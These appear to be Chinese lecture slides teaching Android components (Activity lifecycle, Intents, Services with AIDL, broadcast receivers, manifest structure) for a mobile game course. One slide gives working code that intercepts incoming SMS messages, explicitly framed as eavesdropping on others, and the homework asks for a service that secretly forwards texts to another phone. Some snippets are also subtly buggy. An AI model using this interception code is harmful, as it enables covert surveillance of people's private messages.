Android基本组件

Download Report

Transcript Android基本组件

移动游戏开发
第三章Android基本组件和消息处理
移动游戏开发
教学内容





Activity组件
Service组件
Broadcast Receiver组件
Content Provider组件
AndroidManifest.xml文件
移动游戏开发
Activity生命周期
Activity有三个状态:
 当它在屏幕前台时(位于当前任务堆栈的顶部),它是激活或运行状态。它就是响
应用户操作的Activity。
 当它失去焦点但仍然对用户可见时(如右图),它处于暂停状态。即在它之上有另
外一个Activity。这个Activity也许是透明的,或者没有完全覆盖全屏,所以被暂停
的Activity仍对用户可见。暂停的Activity仍然是存活状态(它保留着所有的状态和
成员信息并保持和窗口管理器的连接),但系统处于极低内存时仍然可以杀死这个
Activity。
 完全被另一个Activity覆盖时则处于停止状态。它仍然保留所有的状态和成员信息。
然而对用户是不可见的,所以它的窗口将被隐藏,如果其它地方需要内存,则系统经
常会杀死这个Activity。
当Activity从一种状态转变到另一种状态时,会调用以下保护方法来通知这种变化:
void
void
void
void
void
onCreate(Bundle savedInstanceState)
onStart()
onRestart()
void onResume()
onPause()
void onStop()
onDestroy()
移动游戏开发
Activity生命周期
移动游戏开发
Activity生命周期
 这七个方法定义了Activity的完整生命周期。实现这些方法可以帮助我们监视其中的
三个嵌套生命周期循环
 Activity的完整生命周期自第一次调用onCreate()开始,直至调用onDestroy()为止。
Activity在onCreate()中设置所有“全局”状态以完成初始化,而在onDestroy()中释
放所有系统资源。例如,如果Activity有一个线程在后台运行从网络上下载数据,它
会在onCreate()创建线程,而在 onDestroy()销毁线程。
 Activity的可视生命周期自onStart()调用开始直到相应的onStop()调用结束。在此期
间,用户可以在屏幕上看到Activity,尽管它也许并不是位于前台或者也不与用户进
行交互。在这两个方法之间,我们可以保留用来向用户显示这个Activity所需的资源。
例如,当用户不再看见我们显示的内容时,我们可以在onStart()中注册一个
BroadcastReceiver来监控会影响UI的变化,而在onStop()中来注消。onStart() 和
onStop() 方法可以随着应用程序是否为用户可见而被多次调用。
 Activity的前台生命周期自onResume()调用起,至相应的onPause()调用为止。在此
期间,Activity位于前台最上面并与用户进行交互。Activity会经常在暂停和恢复之间
进行状态转换——例如:当设备转入休眠状态或者有新的Activity启动时,将调用
onPause() 方法。当Activity获得结果或者接收到新的Intent时会调用onResume() 方
法。
移动游戏开发
Intent(意图)
Android基本的设计理念是鼓励减少组件间的耦合,因
此Android提供了Intent (意图) ,Intent提供了一种通
用的消息系统,它允许在你的应用程序与其它的应用
程序间传递Intent来执行动作和产生事件。使用Intent
可以激活Android应用的三个核心组件:活动、服务和
广播接收器。
移动游戏开发
Intent
 Intent可以划分成显式意图和隐式意图。
 显式意图:调用Intent.setComponent()或Intent.setClass()方法
指定了组件名或类对象的Intent为显式意图,显式意图明确指定了
Intent应该传递给哪个组件。
 隐式意图:没有调用Intent.setComponent()或Intent.setClass()
方法指定组件名或类对象的Intent为隐式意图。 Android系统会根据
隐式意图中设置的动作(action)、类别(category)、数据(URI和数
据类型)找到最合适的组件来处理这个意图。那么Android是怎样寻
找到这个最合适的组件呢?记的前面我们在定义活动时,指定了一个
intent-filter,Intent Filter(过滤器)其实就是用来匹配隐式Intent
的,如果Intent Filter定义的动作、类别、数据(URI和数据类型)与
Intent匹配,就会使用Intent Filter所在的组件来处理该Intent。想
要接收使用startActivity()方法传递的隐式意图的活动必须在它们的
意图过滤器中包含"android.intent.category.DEFAULT"
移动游戏开发
Intent
 Intent用法实例
 1.无参数Activity跳转
Intent it = new Intent(Activity.Main.this, Activity2.class);
startActivity(it);
 2.向下一个Activity传递数据
Intent it = new Intent(Activity.Main.this,
Activity2.class);
it.putExtra(“msg”, “xxx”);
startActivity(it);
对于数据的获取可以采用:
Intent it = getIntent();
it.getStringExtra("msg");
移动游戏开发
得到新打开Activity 关闭后返回的数据
如果你想在Activity中得到新打开Activity 关闭后返回的数据,你需要使用系统提供的
startActivityForResult(Intent intent, int requestCode)方法打开新的Activity,新的Activity 关闭
后会向前面的Activity 传回数据,为了得到传回的数据,你必须在前面的Activity中重写
onActivityResult(int requestCode, int resultCode, Intent data)方法:
public class MainActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) {.......
Button button =(Button) this.findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener(){//点击该按钮会打开一个新的Activity
public void onClick(View v) {
//第二个参数为请求码,可以根据业务需求自己编号
startActivityForResult (new Intent(MainActivity.this, NewActivity.class), 1);
}});
}
//第一个参数为请求码,即调用startActivityForResult()传递过去的值
//第二个参数为结果码,结果码用于标识返回数据来自哪个新Activity
@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) {
String result = data.getExtras().getString(“result”));//得到新Activity 关闭后返回的数据
}
}
当新Activity关闭后,新Activity返回的数据通过Intent进行传递,android平台会调用前面Activity
的onActivityResult()方法,把存放了返回数据的Intent作为第三个输入参数传入,在
onActivityResult()方法中使用第三个输入参数可以取出新Activity返回的数据。
移动游戏开发
得到新打开Activity 关闭后返回的数据
使用startActivityForResult(Intent intent, int requestCode)方法打开新的Activity,新Activity
关闭前需要向前面的Activity返回数据需要使用系统提供的setResult(int resultCode, Intent
data)方法实现:
public class NewActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) {
......
button.setOnClickListener(new View.OnClickListener(){
public void onClick(View v) {
Intent intent = new Intent();//数据是使用Intent返回
intent.putExtra(“result”, “中兴的学员很可爱”);//把返回数据存入Intent
NewActivity.this.setResult(RESULT_OK, intent);//设置返回数据
NewActivity.this.finish();//关闭Activity
}});
}}
setResult()方法的第一个参数值可以根据业务需要自己定义,上面代码中使用到的RESULT_OK
是系统Activity类定义的一个常量,值为-1,代码片断如下:
public class android.app.Activity extends ......{
public static final int RESULT_CANCELED = 0;//按返回键
public static final int RESULT_OK = -1;//执行成功
public static final int RESULT_FIRST_USER = 1;//自定义
}
移动游戏开发
请求码的作用
使用startActivityForResult(Intent
intent, int requestCode)方法打开新的Activity,我们需
要为startActivityForResult()方法传入一个请求码(第二个参数)。请求码的值是根据业务需要
由自已设定,用于标识请求来源。例如:一个Activity有两个按钮,点击这两个按钮都会打开
同一个Activity,不管是那个按钮打开新Activity,当这个新Activity关闭后,系统都会调用前
面Activity的onActivityResult(int requestCode, int resultCode, Intent data)方法。在
onActivityResult()方法如果需要知道新Activity是由那个按钮打开的,并且要做出相应的业务
处理,这时可以这样做:
@Override public void onCreate(Bundle savedInstanceState) {
....
button1.setOnClickListener(new View.OnClickListener(){
public void onClick(View v) {
startActivityForResult (new Intent(MainActivity.this, NewActivity.class), 1);
}});
button2.setOnClickListener(new View.OnClickListener(){
public void onClick(View v) {
startActivityForResult (new Intent(MainActivity.this, NewActivity.class), 2);
}});
@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) {
switch(requestCode){
case 1:
//来自按钮1的请求,作相应业务处理
case 2:
//来自按钮2的请求,作相应业务处理
} }}
移动游戏开发
结果码的作用
在一个Activity中,可能会使用startActivityForResult()方法打开多个不同的Activity处理
不同的业务,当这些新Activity关闭后,系统都会调用前面Activity的onActivityResult(int
requestCode, int resultCode, Intent data)方法。为了知道返回的数据来自于哪个新
Activity,在onActivityResult()方法中可以这样做(ResultActivity和NewActivity为要打开
的新Activity):
public class ResultActivity extends Activity {
.....
ResultActivity.this.setResult(1, intent);
ResultActivity.this.finish();
}
public class NewActivity extends Activity {
......
NewActivity.this.setResult(2, intent);
NewActivity.this.finish();
}
public class MainActivity extends Activity { // 在该Activity会打开ResultActivity和NewActivity
@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) {
switch(resultCode){
case 1:
// ResultActivity的返回数据
case 2:
// NewActivity的返回数据
} }}
移动游戏开发
Service组件
移动游戏开发
Service组件
Service是Android系统提供的四大组件之
一,它的地位和Activity是并列的,只不过
没有Activity的使用频率高。所谓Service
就是运行在后台的一种服务程序。比如我们
播放音乐的时候,有可能想边听音乐边干些
其他事情,当我们退出播放音乐的应用,如
果不用Service,我们就听不到歌了,所以
这时候就得用到Service了。一般很少和用
户交互,因此没有可视化界面。
移动游戏开发
创建
 创建一个Service类比较简单,只要定义一个类继承
Service,覆盖该方法中相应的方法就可。Service定
义了一系列和自身声明周期相关的方法,这些方法有:
 onBind(Intent intent):是必须实现的一个方法,
返回一个绑定的接口给Service。
 onCreate():当Service第一次创建时,由系统调
用。
 onStart(Intent intent,int startId):当通过
startService()方法启动Service时,该方法被调用。
 onDestory():当Service不再使用,系统调用该方
法。
移动游戏开发
 要想使用该Service必须在
AndroidManifest.xml配置文件中使用
<service>元素声明该Service。并在
<service>元素中添加<intent-filter>指定
如何访问该Service。
 如下:





<service android:name="MyRemoteService">
<intent-filter >
<action android:name="com.my.MY_REMOTE_SERVICE"/>
</intent-filter>
</service>
移动游戏开发
Service的启动和停止
 一旦定义好一个service就可以在其他组件中启
动该Service来使用它了。启动一个Service使
用Context.startService(Intent intent)方法,
和Activity的启动非常相似,也是传递一个
Intent。当我们调用startService()方法时,
被调用的Service会调用它的onCreate()方
法(如果该Service还未创建),接着调用
onStart()方法。一旦Service启动后将一直
运行知道调用了Context.stopService()或者
stopSelf()。
移动游戏开发
绑定一个已存在的Service
 我们可以调用startService()方法来启动一个Service,
也可以通过bindService()方法来绑定一个Service。和调
用startService()方法一样,Service会调用onCreate()
方法来创建Service(如果它未被创建),但是他不会调用
onStart()方法而是调用onBind()返回客户端一个
Ibinder接口。绑定Service一般是用在远程Service调用。
 绑定Service需要三个参数:
bindService(intetnt,conn,Service.BIND_AUTO_CREA
TAE);第一个是Intent;第二个是ServiceConnection对象,
我们创建该对象实现其onServiceConnected()和
onServiceDisconnected()来判断连接成功或断开连接;第
三个参数是如何创建Service,一般指定绑定时自动创建。
移动游戏开发
Service实例—xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:id="@+id/text"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello"
/>
<Button
android:id="@+id/startservice"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="startService"
/>
<Button
android:id="@+id/stopservice"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="stopService"
/>
<Button
android:id="@+id/bindservice"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="bindService"
/>
<Button
android:id="@+id/unbindservice"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="unbindService"
/>
</LinearLayout>
移动游戏开发
Service.java
import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
import android.text.format.Time;
import android.util.Log;
public class OutService extends Service {
//定义个一个Tag标签
private static final String TAG = "OutService";
//这里定义吧一个Binder类,用在onBind()有方法里,这样Activity那边可以获取到
private MyBinder mBinder = new MyBinder();
private OutServiceAIDL.Stub aBinder = new OutServiceAIDL.Stub(){
@Override
public String getSystemTime() throws RemoteException {
Time t = new Time();
t.setToNow();
return t.toString()+" ------>aidl";
}
};
@Override
public IBinder onBind(Intent intent) {
Log.e(TAG, "start IBinder~~~");
//return mBinder; //未使用aidl
return aBinder; //使用aidl
}
@Override
public void onCreate() {
Log.e(TAG, "start onCreate~~~");
super.onCreate();
}
@Override
public void onStart(Intent intent, int startId) {
Log.e(TAG, "start onStart~~~");
super.onStart(intent, startId);
}
@Override
public void onDestroy() {
Log.e(TAG, "start onDestroy~~~");
super.onDestroy();
}
@Override
public boolean onUnbind(Intent intent) {
Log.e(TAG, "start onUnbind~~~");
return super.onUnbind(intent);
}
//这里我写了一个获取当前时间的函数,不过没有格式化就先
这么着吧
public String getSystemTime(){
Time t = new Time();
t.setToNow();
return t.toString();
}
public class MyBinder extends Binder{
MyService getService()
{
return MyService.this;
}
}
}
移动游戏开发
activity

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
public class ServiceDemo extends Activity implements OnClickListener{
private
private
private
private
private
private
private
private

MyService mMyService;
OutServiceAIDL aService;
TextView mTextView;
Button startServiceButton;
Button stopServiceButton;
Button bindServiceButton;
Button unbindServiceButton;
Context mContext;
//这里需要用到ServiceConnection在Context.bindService和
context.unBindService()
//里用到
private ServiceConnection mServiceConnection = new ServiceConnection() {
//当我bindService时,让TextView显示MyService里getSystemTime()方法的返回值
public void onServiceConnected(ComponentName name, IBinder service) {
// TODO Auto-generated method stub
//mMyService = ((MyService.MyBinder)service).getService();
//mTextView.setText("I am frome Service :" + mMyService.getSystemTime());
aService = OutServiceAIDL.Stub.asInterface(service);
try {
mTextView.setText("I am frome Service aidl:" + aService.getSystemTime());
} catch (RemoteException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void onServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
};
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setupViews();
}
public void setupViews(){
mContext = ServiceDemo.this;
mTextView = (TextView)findViewById(R.id.text);
startServiceButton = (Button)findViewById(R.id.startservice);
stopServiceButton = (Button)findViewById(R.id.stopservice);
bindServiceButton = (Button)findViewById(R.id.bindservice);
unbindServiceButton = (Button)findViewById(R.id.unbindservice);
startServiceButton.setOnClickListener(this);
stopServiceButton.setOnClickListener(this);
bindServiceButton.setOnClickListener(this);
unbindServiceButton.setOnClickListener(this);
}
public void onClick(View v) {
// TODO Auto-generated method stub
if(v == startServiceButton){
Intent i = new Intent();
i.setClass(ServiceDemo.this, MyService.class);
mContext.startService(i);
}else if(v == stopServiceButton){
Intent i = new Intent();
i.setClass(ServiceDemo.this, MyService.class);
mContext.stopService(i);
}else if(v == bindServiceButton){
Intent i = new Intent();
i.setClass(ServiceDemo.this, MyService.class);
mContext.bindService(i, mServiceConnection, BIND_AUTO_CREATE);
}else{
mContext.unbindService(mServiceConnection);
}
}
}
移动游戏开发
aidl
 interface OutServiceAIDL {
String getSystemTime();
}

移动游戏开发
Broadcast Receiver
广播机制
移动游戏开发
Broadcast Receiver
 Broadcast Receiver是指广播接收器,它和事件处理机
制类似,只不过事件处理机制是程序组件级别的(例如:
某个按钮的单击事件),而广播事件处理机制是系统级别
的。
 Broadcast Receiver 这个组件除了接受和响应广播通知
之外,什么都不做。很多广播由系统代码产生——比如时
区变化,电池量变低,拍摄照片,或者是用户改变了语言
首选项,都会产生广播通知。应用程序自身也可以启动一
个广播——比如,让其他应用程序知道,某些数据已经完
成下载,可以被这些应用程序使用了。
移动游戏开发
自定义广播
1. 我们自己的程序主动广播Intent
//定义一个Action常量(在xml中注册)
final String BROADCAST = “cn.zte.action.mybroadcast";
Intent intent = new Intent(BROADCAST); // 对应setAction()
intent.putExtra(“msg", “hello MM");
sendBroadcast(intent);
2.接收广播
public class MyReceiver1 extends BroadcastReceiver {
@Override //如果接收的事件发生
public void onReceive(Context context, Intent intent) {
String msg = intent.getStringExtra("msg");
Toast.makeText(context, msg, Toast.LENGTH_LONG).show();
}}
移动游戏开发
自定义广播
 3.(1)在AndroidManifest.xml中注册此Receiver (常驻系统)
<receiver android:name=".MyReceiver">
<intent-filter>
<action android:name=" cn.zte.action.mybroadcast " />
</intent-filter>
</receiver>
(2)代码动态注册 (根据自己的需要进行注册,销毁)
如果一个BrodcastReceiver用于更新UI,那么通常会使用这种方发注册,
在Activity启动时注册BrodcastReceiver ,在Activity不可见时取消
@Override
protected void onStart() {
super.onStart();
//实例化过滤器并设置要过滤的广播
IntentFilter filter = new IntentFilter(BROADCAST)
//注册广播
registerReceiver(new MyReceiver(), filter);}
移动游戏开发
自定义广播
4.注销Receiver
@Override
protected void onStop() {
super.onStop();
unregisterReceiver(BROADCAST );
}
//如果在onCreate里面注册,那么在onDestroy里面取消注册
移动游戏开发
系统广播
 常用标准广播ACTION常量
常量名称
常量值
意义
ACTION_BOOT_COMPLETED
android.intent.action.BOOT_CO
MPLETED
系统启动
TIME_CHANGED_ACTION
android.intent.action.TIME_SET
时间已经改变(重新设置)
ACTION_DATE_CHANGED
android.intent.action.ACTION_D
ATE_CHANGED
日期改变
ACTION_BATTERY_LOW
android.intent.action.ACTION_B
ATTERY_LOW
电量低
ACTION_MEDIA_EJECT
android.intent.action.ACTION_M 插入或拔出外部媒体
EDIA_EJECT
ACTION_MEDIA_BUTTON
android.intent.action.ACTION_M 按下多媒体键
EDIA_BUTTON
ACTION_PACKAGE_ADDED
android.intent.action.PACKAGE
_ADDED
添加包<data
android.intent.action.PACKAGE
_REMOVED
删除包 <data
ACTION_PACKAGE_REMOVED
android:scheme="package" />
android:scheme="package" />
移动游戏开发
系统广播
 接收重置时间的广播Intent ,在AndroidManifest.xml文件中的
<application>节点里订阅此Intent:
<receiver android:name=".MyReceiver">
<intent-filter>
<action android:name="android.intent.action.TIME_SET"/>
</intent-filter>
</receiver>
 接收开机启动广播Intent,在AndroidManifest.xml文件中的
<application>节点里订阅此Intent:
<receiver android:name=". MyReceiver ">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
并且要进行权限声明:
<uses-permission
android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
移动游戏开发
使用广播接收者窃听短信
如果你想窃听别人接收到的短信,达到你不可告人的目的,那么本节内容可
以实现你的需求。当系统收到短信时,会发出一个action名称为
android.provider.Telephony.SMS_RECEIVED的广播Intent,该Intent
存放了接收到的短信内容,使用名称“pdus”即可从Intent中获取短信内容。
public class MyReceiver extends BroadcastReceiver {
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@Override public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(SMS_RECEIVED)) {
SmsManager sms = SmsManager.getDefault();
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages){
String msg = message.getMessageBody();
String to = message.getOriginatingAddress();
sms.sendTextMessage(to, null, msg, null, null);
}}}}}
在AndroidManifest.xml文件中的<application>节点里对接收到短信的广播Intent进行订阅:
<receiver android:name=".MyReceiver">
<intent-filter><action android:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver>
在AndroidManifest.xml文件中添加以下权限:
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
移动游戏开发
BroadcastReceiver
通常一个BroadcastReceiver对象的生命周期不超过5秒,所以在
BroadcastReceiver里不能做一些比较耗时的操作,如果需要完成一项比
较耗时的工作,可以通过发送Intent给Activity或Service,由Activity或
Service来完成。
public class IncomingSMSReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
//发送Intent启动服务,由服务来完成比较耗时的操作
Intent service = new Intent(context, XxxService.class);
context.startService(service);
//发送Intent启动Activity,由Activity来完成比较耗时的操作
Intent newIntent = new Intent(context, XxxActivity.class);
context.startActivity(newIntent);
}
}
移动游戏开发
Content Provider组件
移动游戏开发
Content Provider
内容提供者将一些特定的应用程序数据供给其它应用程序使用。
数据可以存储于文件系统、SQLite数据库或其它方式。内容提供者继
承于ContentProvider 基类,为其它应用程序取用和存储它管理的数
据实现了一套标准方法。然而,应用程序并不直接调用这些方法,而
是使用一个 ContentResolver 对象,调用它的方法作为替代。
ContentResolver可以与任意内容提供者进行会话,与其合作来对所
有相关交互通讯进行管理。
每当出现一个需要被特定组件处理的请求时,Android会确保那个组
件的应用程序进程处于运行状态,或在必要的时候启动它。并确保那
个相应组件的实例的存在,必要时会创建那个实例。
详细参阅数据存储章节
2020/5/2
移动游戏开发
AndroidManifest.xml作用
AndroidManifest.xml可以理解为android的一个注册表
文件,在这个文件中,我们可以声明我们自己定义的权限,
这个工程被赋予的权限已经所有应用组件的相关配置工作。


对于创建的任何一个应用组件,必须先在这个文件中声明,系统在运行时才可
以找到这个应用。
2020/5/2
2020/5/2
移动游戏开发
AndroidManifest结构

根节点

权限控制

应用程序
Manifest
permission
user-permission
instrumentation
application
activity
service
receiver
provider
2020/5/2
2020/5/2
移动游戏开发
Manifest





描述:根节点,用来描述.apk文件,
package属性必须给出。
属性:
android:sharedUserId 指定在多个包之间
共享的用户ID
android:versionCode 内部版本号
android:versionName 版本名称
2020/5/2
2020/5/2
移动游戏开发
permission








描述:定义一个用来控制其他包对本包内的组件访问的全乡对象。这将产
生一个新的结构体,应用组件在使用android:permission时指定权限名
称方可生效。
属性:
android:description 一个对权限的长文本描述,必须是一个字符串的引
用;
android:icon 当这个权限要在某写地方显示时,可以显示这个图标
android:label 指定一个清晰易读的名字
android:name 权限名称,使用权限时需要使用这个名字。
android:permissionGroup 指定权限所在的组,这个组必须先建立
android:protectionLevel 权限使用的级别,这是一个枚举值,使用字符
串normal,dangerous,signature,signatureOrSystem
2020/5/2
2020/5/2
移动游戏开发
user-permission



描述:用来给当前的包赋予某种权限用来执
行某些添加了权限请求的组件。
属性:
android:name 赋予的权限名称,这个名称
必须是已经定义好的permission中的
android:name中的一个
2020/5/2
2020/5/2
移动游戏开发
application






描述:应用组件的根节点,包含这个包中所有的应用组件,如果组件没有在这
个节点下注册,那么系统在运行时将无法找到这个应用组件。这个节点设置的
属性可以为它下面的所有子节点设立默认属性,如icon,label,theme等等。
主要属性:
android:allowClearUserData ,指定应用是否可以清除应用数据,默认是
true,不想清除数据的话明确填写false。
android:persistent 请求系统保持应用一直运行;
android:process 指定进程名,如果进程名以“:”开头,则该应用运行在一
个新的单独的进程中,如果直接以小写字符开始,表示可以多个应用共用一个
进程,节约资源开销。
android:taskAffinity 指定一个任务名称,可以使多个应用组件作为一个任务
运行。默认整个Application的应用都是一个任务。
2020/5/2
2020/5/2
移动游戏开发
作业
 建立一个服务,使用广播接收者窃听短信,
并将短信内容发送到指定手机中。
2020/5/2